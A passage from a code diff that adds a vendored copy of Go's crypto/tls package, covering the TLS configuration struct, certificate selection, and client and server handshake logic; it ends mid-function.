type Config struct {
// Rand provides the source of entropy for nonces and RSA blinding.
// If Rand is nil, TLS uses the cryptographic random reader in package
// crypto/rand.
Rand io.Reader
// Time returns the current time as the number of seconds since the epoch.
// If Time is nil, TLS uses time.Now.
Time func() time.Time
// Certificates contains one or more certificate chains
// to present to the other side of the connection.
// Server configurations must include at least one certificate.
Certificates []Certificate
// NameToCertificate maps from a certificate name to an element of
// Certificates. Note that a certificate name can be of the form
// '*.example.com' and so doesn't have to be a domain name as such.
// See Config.BuildNameToCertificate
// The nil value causes the first element of Certificates to be used
// for all connections.
NameToCertificate map[string]*Certificate
// RootCAs defines the set of root certificate authorities
// that clients use when verifying server certificates.
// If RootCAs is nil, TLS uses the host's root CA set.
RootCAs *x509.CertPool
// NextProtos is a list of supported, application level protocols.
NextProtos []string
// ServerName is included in the client's handshake to support virtual
// hosting.
ServerName string
// ClientAuth determines the server's policy for
// TLS Client Authentication. The default is NoClientCert.
ClientAuth ClientAuthType
// ClientCAs defines the set of root certificate authorities
// that servers use if required to verify a client certificate
// by the policy in ClientAuth.
ClientCAs *x509.CertPool
// InsecureSkipVerify controls whether a client verifies the
// server's certificate chain and host name.
// If InsecureSkipVerify is true, TLS accepts any certificate
// presented by the server and any host name in that certificate.
// In this mode, TLS is susceptible to man-in-the-middle attacks.
// This should be used only for testing.
InsecureSkipVerify bool
// CipherSuites is a list of supported cipher suites. If CipherSuites
// is nil, TLS uses a list of suites supported by the implementation.
CipherSuites []uint16
// PreferServerCipherSuites controls whether the server selects the
// client's most preferred ciphersuite, or the server's most preferred
// ciphersuite. If true then the server's preference, as expressed in
// the order of elements in CipherSuites, is used.
PreferServerCipherSuites bool
// SessionTicketsDisabled may be set to true to disable session ticket
// (resumption) support.
SessionTicketsDisabled bool
// SessionTicketKey is used by TLS servers to provide session
// resumption. See RFC 5077. If zero, it will be filled with
// random data before the first server handshake.
//
// If multiple servers are terminating connections for the same host
// they should all have the same SessionTicketKey. If the
// SessionTicketKey leaks, previously recorded and future TLS
// connections using that key are compromised.
SessionTicketKey [32]byte
// MinVersion contains the minimum SSL/TLS version that is acceptable.
// If zero, then SSLv3 is taken as the minimum.
MinVersion uint16
// MaxVersion contains the maximum SSL/TLS version that is acceptable.
// If zero, then the maximum version supported by this package is used,
// which is currently TLS 1.2.
MaxVersion uint16
serverInitOnce sync.Once // guards calling (*Config).serverInit
}
func (c *Config) serverInit() {
if c.SessionTicketsDisabled {
return
}
// If the key has already been set then we have nothing to do.
for _, b := range c.SessionTicketKey {
if b != 0 {
return
}
}
if _, err := io.ReadFull(c.rand(), c.SessionTicketKey[:]); err != nil {
c.SessionTicketsDisabled = true
}
}
func (c *Config) rand() io.Reader {
r := c.Rand
if r == nil {
return rand.Reader
}
return r
}
func (c *Config) time() time.Time {
t := c.Time
if t == nil {
t = time.Now
}
return t()
}
func (c *Config) cipherSuites() []uint16 {
s := c.CipherSuites
if s == nil {
s = defaultCipherSuites()
}
return s
}
func (c *Config) minVersion() uint16 {
if c == nil || c.MinVersion == 0 {
return minVersion
}
return c.MinVersion
}
func (c *Config) maxVersion() uint16 {
if c == nil || c.MaxVersion == 0 {
return maxVersion
}
return c.MaxVersion
}
// mutualVersion returns the protocol version to use given the advertised
// version of the peer.
func (c *Config) mutualVersion(vers uint16) (uint16, bool) {
minVersion := c.minVersion()
maxVersion := c.maxVersion()
if vers < minVersion {
return 0, false
}
if vers > maxVersion {
vers = maxVersion
}
return vers, true
}
// getCertificateForName returns the best certificate for the given name,
// defaulting to the first element of c.Certificates if there are no good
// options.
func (c *Config) getCertificateForName(name string) *Certificate {
if len(c.Certificates) == 1 || c.NameToCertificate == nil {
// There's only one choice, so no point doing any work.
return &c.Certificates[0]
}
name = strings.ToLower(name)
for len(name) > 0 && name[len(name)-1] == '.' {
name = name[:len(name)-1]
}
if cert, ok := c.NameToCertificate[name]; ok {
return cert
}
// try replacing labels in the name with wildcards until we get a
// match.
labels := strings.Split(name, ".")
for i := range labels {
labels[i] = "*"
candidate := strings.Join(labels, ".")
if cert, ok := c.NameToCertificate[candidate]; ok {
return cert
}
}
// If nothing matches, return the first certificate.
return &c.Certificates[0]
}
// BuildNameToCertificate parses c.Certificates and builds c.NameToCertificate
// from the CommonName and SubjectAlternateName fields of each of the leaf
// certificates.
func (c *Config) BuildNameToCertificate() {
c.NameToCertificate = make(map[string]*Certificate)
for i := range c.Certificates {
cert := &c.Certificates[i]
x509Cert, err := x509.ParseCertificate(cert.Certificate[0])
if err != nil {
continue
}
if len(x509Cert.Subject.CommonName) > 0 {
c.NameToCertificate[x509Cert.Subject.CommonName] = cert
}
for _, san := range x509Cert.DNSNames {
c.NameToCertificate[san] = cert
}
}
}
// A Certificate is a chain of one or more certificates, leaf first.
type Certificate struct {
Certificate [][]byte
PrivateKey crypto.PrivateKey // supported types: *rsa.PrivateKey, *ecdsa.PrivateKey
// OCSPStaple contains an optional OCSP response which will be served
// to clients that request it.
OCSPStaple []byte
// Leaf is the parsed form of the leaf certificate, which may be
// initialized using x509.ParseCertificate to reduce per-handshake
// processing for TLS clients doing client authentication. If nil, the
// leaf certificate will be parsed as needed.
Leaf *x509.Certificate
}
// A TLS record.
type record struct {
contentType recordType
major, minor uint8
payload []byte
}
type handshakeMessage interface {
marshal() []byte
unmarshal([]byte) bool
}
// TODO(jsing): Make these available to both crypto/x509 and crypto/tls.
type dsaSignature struct {
R, S *big.Int
}
type ecdsaSignature dsaSignature
var emptyConfig Config
func defaultConfig() *Config {
return &emptyConfig
}
var (
once sync.Once
varDefaultCipherSuites []uint16
)
func defaultCipherSuites() []uint16 {
once.Do(initDefaultCipherSuites)
return varDefaultCipherSuites
}
func initDefaultCipherSuites() {
varDefaultCipherSuites = make([]uint16, len(cipherSuites))
for i, suite := range cipherSuites {
varDefaultCipherSuites[i] = suite.id
}
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,411 @@
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package main
import (
"bytes"
"crypto/ecdsa"
"crypto/rsa"
"crypto/subtle"
"crypto/x509"
"encoding/asn1"
"errors"
"io"
"strconv"
)
func (c *Conn) clientHandshake() error {
if c.config == nil {
c.config = defaultConfig()
}
hello := &clientHelloMsg{
vers: c.config.maxVersion(),
compressionMethods: []uint8{compressionNone},
random: make([]byte, 32),
ocspStapling: true,
serverName: c.config.ServerName,
supportedCurves: []uint16{curveP256, curveP384, curveP521},
supportedPoints: []uint8{pointFormatUncompressed},
nextProtoNeg: len(c.config.NextProtos) > 0,
}
possibleCipherSuites := c.config.cipherSuites()
hello.cipherSuites = make([]uint16, 0, len(possibleCipherSuites))
NextCipherSuite:
for _, suiteId := range possibleCipherSuites {
for _, suite := range cipherSuites {
if suite.id != suiteId {
continue
}
// Don't advertise TLS 1.2-only cipher suites unless
// we're attempting TLS 1.2.
if hello.vers < VersionTLS12 && suite.flags&suiteTLS12 != 0 {
continue
}
hello.cipherSuites = append(hello.cipherSuites, suiteId)
continue NextCipherSuite
}
}
t := uint32(c.config.time().Unix())
hello.random[0] = byte(t >> 24)
hello.random[1] = byte(t >> 16)
hello.random[2] = byte(t >> 8)
hello.random[3] = byte(t)
_, err := io.ReadFull(c.config.rand(), hello.random[4:])
if err != nil {
c.sendAlert(alertInternalError)
return errors.New("short read from Rand")
}
if hello.vers >= VersionTLS12 {
hello.signatureAndHashes = supportedSKXSignatureAlgorithms
}
c.writeRecord(recordTypeHandshake, hello.marshal())
msg, err := c.readHandshake()
if err != nil {
return err
}
serverHello, ok := msg.(*serverHelloMsg)
if !ok {
return c.sendAlert(alertUnexpectedMessage)
}
vers, ok := c.config.mutualVersion(serverHello.vers)
if !ok || vers < VersionTLS10 {
// TLS 1.0 is the minimum version supported as a client.
return c.sendAlert(alertProtocolVersion)
}
c.vers = vers
c.haveVers = true
finishedHash := newFinishedHash(c.vers)
finishedHash.Write(hello.marshal())
finishedHash.Write(serverHello.marshal())
if serverHello.compressionMethod != compressionNone {
return c.sendAlert(alertUnexpectedMessage)
}
if !hello.nextProtoNeg && serverHello.nextProtoNeg {
c.sendAlert(alertHandshakeFailure)
return errors.New("server advertised unrequested NPN")
}
suite := mutualCipherSuite(c.config.cipherSuites(), serverHello.cipherSuite)
if suite == nil {
return c.sendAlert(alertHandshakeFailure)
}
msg, err = c.readHandshake()
if err != nil {
return err
}
certMsg, ok := msg.(*certificateMsg)
if !ok || len(certMsg.certificates) == 0 {
return c.sendAlert(alertUnexpectedMessage)
}
finishedHash.Write(certMsg.marshal())
certs := make([]*x509.Certificate, len(certMsg.certificates))
for i, asn1Data := range certMsg.certificates {
cert, err := x509.ParseCertificate(asn1Data)
if err != nil {
c.sendAlert(alertBadCertificate)
return errors.New("failed to parse certificate from server: " + err.Error())
}
certs[i] = cert
}
if !c.config.InsecureSkipVerify {
opts := x509.VerifyOptions{
Roots: c.config.RootCAs,
CurrentTime: c.config.time(),
DNSName: c.config.ServerName,
Intermediates: x509.NewCertPool(),
}
for i, cert := range certs {
if i == 0 {
continue
}
opts.Intermediates.AddCert(cert)
}
c.verifiedChains, err = certs[0].Verify(opts)
if err != nil {
c.sendAlert(alertBadCertificate)
return err
}
}
switch certs[0].PublicKey.(type) {
case *rsa.PublicKey, *ecdsa.PublicKey:
break
default:
return c.sendAlert(alertUnsupportedCertificate)
}
c.peerCertificates = certs
if serverHello.ocspStapling {
msg, err = c.readHandshake()
if err != nil {
return err
}
cs, ok := msg.(*certificateStatusMsg)
if !ok {
return c.sendAlert(alertUnexpectedMessage)
}
finishedHash.Write(cs.marshal())
if cs.statusType == statusTypeOCSP {
c.ocspResponse = cs.response
}
}
msg, err = c.readHandshake()
if err != nil {
return err
}
keyAgreement := suite.ka(c.vers)
skx, ok := msg.(*serverKeyExchangeMsg)
if ok {
finishedHash.Write(skx.marshal())
err = keyAgreement.processServerKeyExchange(c.config, hello, serverHello, certs[0], skx)
if err != nil {
c.sendAlert(alertUnexpectedMessage)
return err
}
msg, err = c.readHandshake()
if err != nil {
return err
}
}
var chainToSend *Certificate
var certRequested bool
certReq, ok := msg.(*certificateRequestMsg)
if ok {
certRequested = true
// RFC 4346 on the certificateAuthorities field:
// A list of the distinguished names of acceptable certificate
// authorities. These distinguished names may specify a desired
// distinguished name for a root CA or for a subordinate CA;
// thus, this message can be used to describe both known roots
// and a desired authorization space. If the
// certificate_authorities list is empty then the client MAY
// send any certificate of the appropriate
// ClientCertificateType, unless there is some external
// arrangement to the contrary.
finishedHash.Write(certReq.marshal())
var rsaAvail, ecdsaAvail bool
for _, certType := range certReq.certificateTypes {
switch certType {
case certTypeRSASign:
rsaAvail = true
case certTypeECDSASign:
ecdsaAvail = true
}
}
// We need to search our list of client certs for one
// where SignatureAlgorithm is RSA and the Issuer is in
// certReq.certificateAuthorities
findCert:
for i, chain := range c.config.Certificates {
if !rsaAvail && !ecdsaAvail {
continue
}
for j, cert := range chain.Certificate {
x509Cert := chain.Leaf
// parse the certificate if this isn't the leaf
// node, or if chain.Leaf was nil
if j != 0 || x509Cert == nil {
if x509Cert, err = x509.ParseCertificate(cert); err != nil {
c.sendAlert(alertInternalError)
return errors.New("tls: failed to parse client certificate #" + strconv.Itoa(i) + ": " + err.Error())
}
}
switch {
case rsaAvail && x509Cert.PublicKeyAlgorithm == x509.RSA:
case ecdsaAvail && x509Cert.PublicKeyAlgorithm == x509.ECDSA:
default:
continue findCert
}
if len(certReq.certificateAuthorities) == 0 {
// they gave us an empty list, so just take the
// first RSA cert from c.config.Certificates
chainToSend = &chain
break findCert
}
for _, ca := range certReq.certificateAuthorities {
if bytes.Equal(x509Cert.RawIssuer, ca) {
chainToSend = &chain
break findCert
}
}
}
}
msg, err = c.readHandshake()
if err != nil {
return err
}
}
shd, ok := msg.(*serverHelloDoneMsg)
if !ok {
return c.sendAlert(alertUnexpectedMessage)
}
finishedHash.Write(shd.marshal())
// If the server requested a certificate then we have to send a
// Certificate message, even if it's empty because we don't have a
// certificate to send.
if certRequested {
certMsg = new(certificateMsg)
if chainToSend != nil {
certMsg.certificates = chainToSend.Certificate
}
finishedHash.Write(certMsg.marshal())
c.writeRecord(recordTypeHandshake, certMsg.marshal())
}
preMasterSecret, ckx, err := keyAgreement.generateClientKeyExchange(c.config, hello, certs[0])
if err != nil {
c.sendAlert(alertInternalError)
return err
}
if ckx != nil {
finishedHash.Write(ckx.marshal())
c.writeRecord(recordTypeHandshake, ckx.marshal())
}
if chainToSend != nil {
var signed []byte
certVerify := &certificateVerifyMsg{
hasSignatureAndHash: c.vers >= VersionTLS12,
}
switch key := c.config.Certificates[0].PrivateKey.(type) {
case *ecdsa.PrivateKey:
digest, _, hashId := finishedHash.hashForClientCertificate(signatureECDSA)
r, s, err := ecdsa.Sign(c.config.rand(), key, digest)
if err == nil {
signed, err = asn1.Marshal(ecdsaSignature{r, s})
}
certVerify.signatureAndHash.signature = signatureECDSA
certVerify.signatureAndHash.hash = hashId
case *rsa.PrivateKey:
digest, hashFunc, hashId := finishedHash.hashForClientCertificate(signatureRSA)
signed, err = rsa.SignPKCS1v15(c.config.rand(), key, hashFunc, digest)
certVerify.signatureAndHash.signature = signatureRSA
certVerify.signatureAndHash.hash = hashId
default:
err = errors.New("unknown private key type")
}
if err != nil {
return c.sendAlert(alertInternalError)
}
certVerify.signature = signed
finishedHash.Write(certVerify.marshal())
c.writeRecord(recordTypeHandshake, certVerify.marshal())
}
masterSecret := masterFromPreMasterSecret(c.vers, preMasterSecret, hello.random, serverHello.random)
clientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV :=
keysFromMasterSecret(c.vers, masterSecret, hello.random, serverHello.random, suite.macLen, suite.keyLen, suite.ivLen)
var clientCipher interface{}
var clientHash macFunction
if suite.cipher != nil {
clientCipher = suite.cipher(clientKey, clientIV, false /* not for reading */)
clientHash = suite.mac(c.vers, clientMAC)
} else {
clientCipher = suite.aead(clientKey, clientIV)
}
c.out.prepareCipherSpec(c.vers, clientCipher, clientHash)
c.writeRecord(recordTypeChangeCipherSpec, []byte{1})
if serverHello.nextProtoNeg {
nextProto := new(nextProtoMsg)
proto, fallback := mutualProtocol(c.config.NextProtos, serverHello.nextProtos)
nextProto.proto = proto
c.clientProtocol = proto
c.clientProtocolFallback = fallback
finishedHash.Write(nextProto.marshal())
c.writeRecord(recordTypeHandshake, nextProto.marshal())
}
finished := new(finishedMsg)
finished.verifyData = finishedHash.clientSum(masterSecret)
finishedHash.Write(finished.marshal())
c.writeRecord(recordTypeHandshake, finished.marshal())
var serverCipher interface{}
var serverHash macFunction
if suite.cipher != nil {
serverCipher = suite.cipher(serverKey, serverIV, true /* for reading */)
serverHash = suite.mac(c.vers, serverMAC)
} else {
serverCipher = suite.aead(serverKey, serverIV)
}
c.in.prepareCipherSpec(c.vers, serverCipher, serverHash)
c.readRecord(recordTypeChangeCipherSpec)
if err := c.error(); err != nil {
return err
}
msg, err = c.readHandshake()
if err != nil {
return err
}
serverFinished, ok := msg.(*finishedMsg)
if !ok {
return c.sendAlert(alertUnexpectedMessage)
}
verify := finishedHash.serverSum(masterSecret)
if len(verify) != len(serverFinished.verifyData) ||
subtle.ConstantTimeCompare(verify, serverFinished.verifyData) != 1 {
return c.sendAlert(alertHandshakeFailure)
}
c.handshakeComplete = true
c.cipherSuite = suite.id
return nil
}
// mutualProtocol finds the mutual Next Protocol Negotiation protocol given the
// set of client and server supported protocols. The set of client supported
// protocols must not be empty. It returns the resulting protocol and flag
// indicating if the fallback case was reached.
func mutualProtocol(clientProtos, serverProtos []string) (string, bool) {
for _, s := range serverProtos {
for _, c := range clientProtos {
if s == c {
return s, false
}
}
}
return clientProtos[0], true
}
@@ -0,0 +1,638 @@
// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package main
import (
"crypto"
"crypto/ecdsa"
"crypto/rsa"
"crypto/subtle"
"crypto/x509"
"encoding/asn1"
"errors"
"io"
)
// serverHandshakeState contains details of a server handshake in progress.
// It's discarded once the handshake has completed.
type serverHandshakeState struct {
c *Conn
clientHello *clientHelloMsg
hello *serverHelloMsg
suite *cipherSuite
ellipticOk bool
ecdsaOk bool
sessionState *sessionState
finishedHash finishedHash
masterSecret []byte
certsFromClient [][]byte
cert *Certificate
}
// serverHandshake performs a TLS handshake as a server.
func (c *Conn) serverHandshake() error {
config := c.config
// If this is the first server handshake, we generate a random key to
// encrypt the tickets with.
config.serverInitOnce.Do(config.serverInit)
hs := serverHandshakeState{
c: c,
}
isResume, err := hs.readClientHello()
if err != nil {
return err
}
// For an overview of TLS handshaking, see https://tools.ietf.org/html/rfc5246#section-7.3
if isResume {
// The client has included a session ticket and so we do an abbreviated handshake.
if err := hs.doResumeHandshake(); err != nil {
return err
}
if err := hs.establishKeys(); err != nil {
return err
}
if err := hs.sendFinished(); err != nil {
return err
}
if err := hs.readFinished(); err != nil {
return err
}
c.didResume = true
} else {
// The client didn't include a session ticket, or it wasn't
// valid so we do a full handshake.
if err := hs.doFullHandshake(); err != nil {
return err
}
if err := hs.establishKeys(); err != nil {
return err
}
if err := hs.readFinished(); err != nil {
return err
}
if err := hs.sendSessionTicket(); err != nil {
return err
}
if err := hs.sendFinished(); err != nil {
return err
}
}
c.handshakeComplete = true
return nil
}
// readClientHello reads a ClientHello message from the client and decides
// whether we will perform session resumption.
func (hs *serverHandshakeState) readClientHello() (isResume bool, err error) {
config := hs.c.config
c := hs.c
msg, err := c.readHandshake()
if err != nil {
return false, err
}
var ok bool
hs.clientHello, ok = msg.(*clientHelloMsg)
if !ok {
return false, c.sendAlert(alertUnexpectedMessage)
}
c.vers, ok = config.mutualVersion(hs.clientHello.vers)
if !ok {
return false, c.sendAlert(alertProtocolVersion)
}
c.haveVers = true
hs.finishedHash = newFinishedHash(c.vers)
hs.finishedHash.Write(hs.clientHello.marshal())
hs.hello = new(serverHelloMsg)
supportedCurve := false
Curves:
for _, curve := range hs.clientHello.supportedCurves {
switch curve {
case curveP256, curveP384, curveP521:
supportedCurve = true
break Curves
}
}
supportedPointFormat := false
for _, pointFormat := range hs.clientHello.supportedPoints {
if pointFormat == pointFormatUncompressed {
supportedPointFormat = true
break
}
}
hs.ellipticOk = supportedCurve && supportedPointFormat
foundCompression := false
// We only support null compression, so check that the client offered it.
for _, compression := range hs.clientHello.compressionMethods {
if compression == compressionNone {
foundCompression = true
break
}
}
if !foundCompression {
return false, c.sendAlert(alertHandshakeFailure)
}
hs.hello.vers = c.vers
t := uint32(config.time().Unix())
hs.hello.random = make([]byte, 32)
hs.hello.random[0] = byte(t >> 24)
hs.hello.random[1] = byte(t >> 16)
hs.hello.random[2] = byte(t >> 8)
hs.hello.random[3] = byte(t)
_, err = io.ReadFull(config.rand(), hs.hello.random[4:])
if err != nil {
return false, c.sendAlert(alertInternalError)
}
hs.hello.compressionMethod = compressionNone
if len(hs.clientHello.serverName) > 0 {
c.serverName = hs.clientHello.serverName
}
// Although sending an empty NPN extension is reasonable, Firefox has
// had a bug around this. Best to send nothing at all if
// config.NextProtos is empty. See
// https://code.google.com/p/go/issues/detail?id=5445.
if hs.clientHello.nextProtoNeg && len(config.NextProtos) > 0 {
hs.hello.nextProtoNeg = true
hs.hello.nextProtos = config.NextProtos
}
if len(config.Certificates) == 0 {
return false, c.sendAlert(alertInternalError)
}
hs.cert = &config.Certificates[0]
if len(hs.clientHello.serverName) > 0 {
hs.cert = config.getCertificateForName(hs.clientHello.serverName)
}
_, hs.ecdsaOk = hs.cert.PrivateKey.(*ecdsa.PrivateKey)
if hs.checkForResumption() {
return true, nil
}
var preferenceList, supportedList []uint16
if c.config.PreferServerCipherSuites {
preferenceList = c.config.cipherSuites()
supportedList = hs.clientHello.cipherSuites
} else {
preferenceList = hs.clientHello.cipherSuites
supportedList = c.config.cipherSuites()
}
for _, id := range preferenceList {
if hs.suite = c.tryCipherSuite(id, supportedList, c.vers, hs.ellipticOk, hs.ecdsaOk); hs.suite != nil {
break
}
}
if hs.suite == nil {
return false, c.sendAlert(alertHandshakeFailure)
}
return false, nil
}
// checkForResumption returns true if we should perform resumption on this connection.
func (hs *serverHandshakeState) checkForResumption() bool {
c := hs.c
var ok bool
if hs.sessionState, ok = c.decryptTicket(hs.clientHello.sessionTicket); !ok {
return false
}
if hs.sessionState.vers > hs.clientHello.vers {
return false
}
if vers, ok := c.config.mutualVersion(hs.sessionState.vers); !ok || vers != hs.sessionState.vers {
return false
}
cipherSuiteOk := false
// Check that the client is still offering the ciphersuite in the session.
for _, id := range hs.clientHello.cipherSuites {
if id == hs.sessionState.cipherSuite {
cipherSuiteOk = true
break
}
}
if !cipherSuiteOk {
return false
}
// Check that we also support the ciphersuite from the session.
hs.suite = c.tryCipherSuite(hs.sessionState.cipherSuite, c.config.cipherSuites(), hs.sessionState.vers, hs.ellipticOk, hs.ecdsaOk)
if hs.suite == nil {
return false
}
sessionHasClientCerts := len(hs.sessionState.certificates) != 0
needClientCerts := c.config.ClientAuth == RequireAnyClientCert || c.config.ClientAuth == RequireAndVerifyClientCert
if needClientCerts && !sessionHasClientCerts {
return false
}
if sessionHasClientCerts && c.config.ClientAuth == NoClientCert {
return false
}
return true
}
func (hs *serverHandshakeState) doResumeHandshake() error {
c := hs.c
hs.hello.cipherSuite = hs.suite.id
// We echo the client's session ID in the ServerHello to let it know
// that we're doing a resumption.
hs.hello.sessionId = hs.clientHello.sessionId
hs.finishedHash.Write(hs.hello.marshal())
c.writeRecord(recordTypeHandshake, hs.hello.marshal())
if len(hs.sessionState.certificates) > 0 {
if _, err := hs.processCertsFromClient(hs.sessionState.certificates); err != nil {
return err
}
}
hs.masterSecret = hs.sessionState.masterSecret
return nil
}
func (hs *serverHandshakeState) doFullHandshake() error {
config := hs.c.config
c := hs.c
if hs.clientHello.ocspStapling && len(hs.cert.OCSPStaple) > 0 {
hs.hello.ocspStapling = true
}
hs.hello.ticketSupported = hs.clientHello.ticketSupported && !config.SessionTicketsDisabled
hs.hello.cipherSuite = hs.suite.id
hs.finishedHash.Write(hs.hello.marshal())
c.writeRecord(recordTypeHandshake, hs.hello.marshal())
certMsg := new(certificateMsg)
certMsg.certificates = hs.cert.Certificate
hs.finishedHash.Write(certMsg.marshal())
c.writeRecord(recordTypeHandshake, certMsg.marshal())
if hs.hello.ocspStapling {
certStatus := new(certificateStatusMsg)
certStatus.statusType = statusTypeOCSP
certStatus.response = hs.cert.OCSPStaple
hs.finishedHash.Write(certStatus.marshal())
c.writeRecord(recordTypeHandshake, certStatus.marshal())
}
keyAgreement := hs.suite.ka(c.vers)
skx, err := keyAgreement.generateServerKeyExchange(config, hs.cert, hs.clientHello, hs.hello)
if err != nil {
c.sendAlert(alertHandshakeFailure)
return err
}
if skx != nil {
hs.finishedHash.Write(skx.marshal())
c.writeRecord(recordTypeHandshake, skx.marshal())
}
if config.ClientAuth >= RequestClientCert {
// Request a client certificate
certReq := new(certificateRequestMsg)
certReq.certificateTypes = []byte{
byte(certTypeRSASign),
byte(certTypeECDSASign),
}
if c.vers >= VersionTLS12 {
certReq.hasSignatureAndHash = true
certReq.signatureAndHashes = supportedClientCertSignatureAlgorithms
}
// An empty list of certificateAuthorities signals to
// the client that it may send any certificate in response
// to our request. When we know the CAs we trust, then
// we can send them down, so that the client can choose
// an appropriate certificate to give to us.
if config.ClientCAs != nil {
certReq.certificateAuthorities = config.ClientCAs.Subjects()
}
hs.finishedHash.Write(certReq.marshal())
c.writeRecord(recordTypeHandshake, certReq.marshal())
}
helloDone := new(serverHelloDoneMsg)
hs.finishedHash.Write(helloDone.marshal())
c.writeRecord(recordTypeHandshake, helloDone.marshal())
var pub crypto.PublicKey // public key for client auth, if any
msg, err := c.readHandshake()
if err != nil {
return err
}
var ok bool
// If we requested a client certificate, then the client must send a
// certificate message, even if it's empty.
if config.ClientAuth >= RequestClientCert {
if certMsg, ok = msg.(*certificateMsg); !ok {
return c.sendAlert(alertHandshakeFailure)
}
hs.finishedHash.Write(certMsg.marshal())
if len(certMsg.certificates) == 0 {
// The client didn't actually send a certificate
switch config.ClientAuth {
case RequireAnyClientCert, RequireAndVerifyClientCert:
c.sendAlert(alertBadCertificate)
return errors.New("tls: client didn't provide a certificate")
}
}
pub, err = hs.processCertsFromClient(certMsg.certificates)
if err != nil {
return err
}
msg, err = c.readHandshake()
if err != nil {
return err
}
}
// Get client key exchange
ckx, ok := msg.(*clientKeyExchangeMsg)
if !ok {
return c.sendAlert(alertUnexpectedMessage)
}
hs.finishedHash.Write(ckx.marshal())
// If we received a client cert in response to our certificate request message,
// the client will send us a certificateVerifyMsg immediately after the
// clientKeyExchangeMsg. This message is a digest of all preceding
// handshake-layer messages that is signed using the private key corresponding
// to the client's certificate. This allows us to verify that the client is in
// possession of the private key of the certificate.
if len(c.peerCertificates) > 0 {
msg, err = c.readHandshake()
if err != nil {
return err
}
certVerify, ok := msg.(*certificateVerifyMsg)
if !ok {
return c.sendAlert(alertUnexpectedMessage)
}
switch key := pub.(type) {
case *ecdsa.PublicKey:
ecdsaSig := new(ecdsaSignature)
if _, err = asn1.Unmarshal(certVerify.signature, ecdsaSig); err != nil {
break
}
if ecdsaSig.R.Sign() <= 0 || ecdsaSig.S.Sign() <= 0 {
err = errors.New("ECDSA signature contained zero or negative values")
break
}
digest, _, _ := hs.finishedHash.hashForClientCertificate(signatureECDSA)
if !ecdsa.Verify(key, digest, ecdsaSig.R, ecdsaSig.S) {
err = errors.New("ECDSA verification failure")
break
}
case *rsa.PublicKey:
digest, hashFunc, _ := hs.finishedHash.hashForClientCertificate(signatureRSA)
err = rsa.VerifyPKCS1v15(key, hashFunc, digest, certVerify.signature)
}
if err != nil {
c.sendAlert(alertBadCertificate)
return errors.New("could not validate signature of connection nonces: " + err.Error())
}
hs.finishedHash.Write(certVerify.marshal())
}
preMasterSecret, err := keyAgreement.processClientKeyExchange(config, hs.cert, ckx, c.vers)
if err != nil {
c.sendAlert(alertHandshakeFailure)
return err
}
hs.masterSecret = masterFromPreMasterSecret(c.vers, preMasterSecret, hs.clientHello.random, hs.hello.random)
return nil
}
func (hs *serverHandshakeState) establishKeys() error {
c := hs.c
clientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV :=
keysFromMasterSecret(c.vers, hs.masterSecret, hs.clientHello.random, hs.hello.random, hs.suite.macLen, hs.suite.keyLen, hs.suite.ivLen)
var clientCipher, serverCipher interface{}
var clientHash, serverHash macFunction
if hs.suite.aead == nil {
clientCipher = hs.suite.cipher(clientKey, clientIV, true /* for reading */)
clientHash = hs.suite.mac(c.vers, clientMAC)
serverCipher = hs.suite.cipher(serverKey, serverIV, false /* not for reading */)
serverHash = hs.suite.mac(c.vers, serverMAC)
} else {
clientCipher = hs.suite.aead(clientKey, clientIV)
serverCipher = hs.suite.aead(serverKey, serverIV)
}
c.in.prepareCipherSpec(c.vers, clientCipher, clientHash)
c.out.prepareCipherSpec(c.vers, serverCipher, serverHash)
return nil
}
func (hs *serverHandshakeState) readFinished() error {
c := hs.c
c.readRecord(recordTypeChangeCipherSpec)
if err := c.error(); err != nil {
return err
}
if hs.hello.nextProtoNeg {
msg, err := c.readHandshake()
if err != nil {
return err
}
nextProto, ok := msg.(*nextProtoMsg)
if !ok {
return c.sendAlert(alertUnexpectedMessage)
}
hs.finishedHash.Write(nextProto.marshal())
c.clientProtocol = nextProto.proto
}
msg, err := c.readHandshake()
if err != nil {
return err
}
clientFinished, ok := msg.(*finishedMsg)
if !ok {
return c.sendAlert(alertUnexpectedMessage)
}
verify := hs.finishedHash.clientSum(hs.masterSecret)
if len(verify) != len(clientFinished.verifyData) ||
subtle.ConstantTimeCompare(verify, clientFinished.verifyData) != 1 {
return c.sendAlert(alertHandshakeFailure)
}
hs.finishedHash.Write(clientFinished.marshal())
return nil
}
func (hs *serverHandshakeState) sendSessionTicket() error {
if !hs.hello.ticketSupported {
return nil
}
c := hs.c
m := new(newSessionTicketMsg)
var err error
state := sessionState{
vers: c.vers,
cipherSuite: hs.suite.id,
masterSecret: hs.masterSecret,
certificates: hs.certsFromClient,
}
m.ticket, err = c.encryptTicket(&state)
if err != nil {
return err
}
hs.finishedHash.Write(m.marshal())
c.writeRecord(recordTypeHandshake, m.marshal())
return nil
}
func (hs *serverHandshakeState) sendFinished() error {
c := hs.c
c.writeRecord(recordTypeChangeCipherSpec, []byte{1})
finished := new(finishedMsg)
finished.verifyData = hs.finishedHash.serverSum(hs.masterSecret)
hs.finishedHash.Write(finished.marshal())
c.writeRecord(recordTypeHandshake, finished.marshal())
c.cipherSuite = hs.suite.id
return nil
}
// processCertsFromClient takes a chain of client certificates either from a
// Certificates message or from a sessionState and verifies them. It returns
// the public key of the leaf certificate.
func (hs *serverHandshakeState) processCertsFromClient(certificates [][]byte) (crypto.PublicKey, error) {
c := hs.c
hs.certsFromClient = certificates
certs := make([]*x509.Certificate, len(certificates))
var err error
for i, asn1Data := range certificates {
if certs[i], err = x509.ParseCertificate(asn1Data); err != nil {
c.sendAlert(alertBadCertificate)
return nil, errors.New("tls: failed to parse client certificate: " + err.Error())
}
}
if c.config.ClientAuth >= VerifyClientCertIfGiven && len(certs) > 0 {
opts := x509.VerifyOptions{
Roots: c.config.ClientCAs,
CurrentTime: c.config.time(),
Intermediates: x509.NewCertPool(),
KeyUsages: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
}
for _, cert := range certs[1:] {
opts.Intermediates.AddCert(cert)
}
chains, err := certs[0].Verify(opts)
if err != nil {
c.sendAlert(alertBadCertificate)
return nil, errors.New("tls: failed to verify client's certificate: " + err.Error())
}
ok := false
for _, ku := range certs[0].ExtKeyUsage {
if ku == x509.ExtKeyUsageClientAuth {
ok = true
break
}
}
